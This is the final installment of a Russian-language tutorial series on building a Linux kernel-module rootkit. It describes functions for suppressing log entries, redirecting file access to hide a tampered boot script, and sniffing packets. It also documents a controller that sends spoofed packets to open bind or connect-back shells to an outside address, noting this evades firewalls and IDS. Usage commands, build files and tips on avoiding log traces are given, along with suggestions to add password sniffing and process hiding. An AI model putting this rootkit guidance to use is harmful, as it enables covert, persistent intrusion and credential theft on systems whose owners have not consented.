Главные функции:
antilog_on/off - включить/выключить систему Anti-Log
antilog_add/del - добавить/удалить файл который будет анти-логиться
redirect_on/off - включить/выключить перенаправление файлов
redirect_add/del - добавить/удалить файлы для перенаправления
wrap_write - функция которая будет вызываться вместо настоящей write (для системы Anti-Log)
wrap_open - вместо open (для перенаправления файлов)
nethook - функция которая будет принимать и анализировать сетевые пакеты
nethook_on/off - включить/выключить сниффинг пакетов
Исходник: lock.c
А теперь Makefile для компиляции.
CC = gcc
CFLAGS = -O2 -Wall -Werror
LDFLAGS =
INCLUDE = -I /usr/src/linux/include/
all: lock
lock:
$(CC) $(INCLUDE) -c lock.c
clean:
rm -f *.o
Руткит достаточно легко развивать - можно, например, добавить сниффер паролей, скрытие файлов и процессов.
Извращенных stress test руткита не производилось. На ядрах 2.2.x - не работает, 2.6.x - не тестировалось.
Система Anti-Log содержит баг - нельзя писать не только в логи но и в другие файлы. Поэтому выключайте Anti-Log сразу, как только
залогинились и уже не нужно защищать лог файлы (когда вы
делаете логаут записи тоже добавляются в логи, поэтому перед логаутом тоже надо включать
Anti-Log). И помните о предупреждения по поводу фишек с файловой системой и сниффингом которые были
описаны ранее.
Процесс конфигурации состоит в правильном прописывании названий и путей к файлам и каталогам. Я начал делать скрипт для автоматизации этого процесса (install.sh) но полностью его не закончил, так что там только наброски!
Какие пути к файлам указывать в скриптах:
boot.sh - путь к каталогу с руткитом и к boot.pl, и url откуда скачать запасную прогу на всякий случай если вдруг что-то случилось 🙂
boot.pl - путь к сохраненной копии настоящего бут скрипта (переменная $REAL_BS), путь к boot.sh ($FAKE_BS), версия ядра для которого были скомпилированы модули ($HVER), основной каталог руткита ($HDIR)
lock.c - #define REAL_BOOT - тоже что $REAL_BS в boot.pl, #define FAKE_BOOT - тоже что $FAKE_BS в boot.pl
hmod.c - #define OUTPUTFILE - туда, куда писать адрес спрятанного модуля lock.o
Удаленное управление руткитом осуществляется с помощью программы key.c. Она предназначена для посылки пакетов с маркерами. При получении таких специальных пакетов, руткит (lock.c) будет выполнять указанные действия (запускать шеллы, включать Anti-Log, etc)
Исходник: config_control.с
Использование проги (нужны права root):
Опции:
-s source ip - исходный ip адрес (spoofed)
-t target ip - адрес компа с руткитом
-c connectback ip - адрес куда коннектится connectback shell'у
-p port (bindshell or connectback) - порт, на котором запустить шелл, или куда
коннектится connectback shell'у
-a antilog - Анти-лог включить (on) или выключить (off)
Примеры:
Чтобы открыть обычный bind shell на 25-ом порту:
./key -t 1.2.3.4 -s 10.20.30.40 -p 25 -c 4.3.2.1
Коннектся на 1.2.3.4:25 netcat'ом и юзай (шелл одноразовый, закрывается после первого клиента, если нужно больше шеллов - просто пошли еще один пакет 🙂
./key -t 1.2.3.4 -s 10.20.30.40 -p 25 -c 4.3.2.1
Послать со spoof'леным адресом 10.20.30.40 на 1.2.3.4 команду установить соединение connect-back shell'ом с 4.3.2.1 на порт 25 (shell сам приконектится к тебе, это иногда может помочь обойти firewall и ids 🙂
Включить Anti-Log:
./key -t 1.2.3.4 -s 10.20.30.40 -a on
И соответственно выключить:
./key -t 1.2.3.4 -s 10.20.30.40 -a off
Код, запускающий шелл, выполнен в виде скрипта на перле и его можно легко доработать. Например, можно сделать бэкдор более скрытным, можно добавить шифрование и т.д., все ограниченно лишь фантазией 🙂
Ну что ж, вот и подошел к концу этот цикл статьей про LKM кодинг, спасибо за внимание и надеюсь, что вам понравилось. 🙂 Я буду рад услышать ваши комментарии, советы и вопросы по поводу руткита и статей, пишите -
skleroz@pisem.net.
Линки и доки:
И так, самой главной докой, естественно являются исходники ядра -
http://www.kernel.org - home page Linux kernel'я 🙂
В исходниках ядра также есть достаточно много комментариев. Для некоторых функций (самых главных для разработчиков) комментарии описаны в специальном формате. Есть также скрипт, который
выдирает эти комментарии из иходников и генерит доку Kernel-API. Как использовать этот скрипт рассказано в первой части этого цикла статей. Есть также доки и в /usr/src/linux/Documentation, но там больший упор делается на доки для юзеров, хотя полезная инфа для девелоперов тоже есть. Существуют и некоторые man pages по syscall'ам и т.д.
Доки по LKM кодингу:
http://www.botik.ru/rented/rldp/www/ldp/lkmpg-1/mpg.htm
- Энциклопедия разработчика модулей ядра Linux (Linux Kernel Module Programming Guide)
http://www.linuxhq.com/lkprogram.html
- много всяких разных полезных док по кодингу LKM'ов.
http://www.opennet.ru/links/sml/5.shtml
- много док на русском.
http://www.kernelnewbies.org/
и один из подразделов http://www.kernelnewbies.org/wiki/moin.cgi/KernelDocs/
- название говорит само за себя - ядро для новичков 🙂
Доки по LKM кодингу хакерской направленности:
http://www.phrack.org - сайт хорошего журнала Phrack. Там есть много разных интересных статей на тему LKM Hacking. Большинство новых интересных идей по LKM хаку печатается в этом журнале.
http://www.thc.org - сайт немецкой хак-группы The Hacker's Choice, на нём есть интересный LKM Hacking Guide (правда он уже немножко устарел). Также эту доку можно взять здесь:
http://packetstormsecurity.org/docs/hack/LKM_HACKING.html
http://projet7.tuxfamily.org/docs/doc.php3
и http://blacksun.box.sk/books/format.php3?file=unix.htm
- много разных полезных док не только по LKM хаку.
Примеры LKM Rootkit'ов, etc:
http://packetstormsecurity.nl/linux/modules/
- куча разных интересных исходников.
http://stealth.7350.org/rootkits/
- веб-сайт Stealth'a, создателя интересных LKM rootkit'ов Adore и Adore-NG.
http://vx.netlux.org/lib/vsc07.html
- дока о том как патчить /dev/mem & /dev/kmem.
Good luck & happy hacking! 😉
Alekz.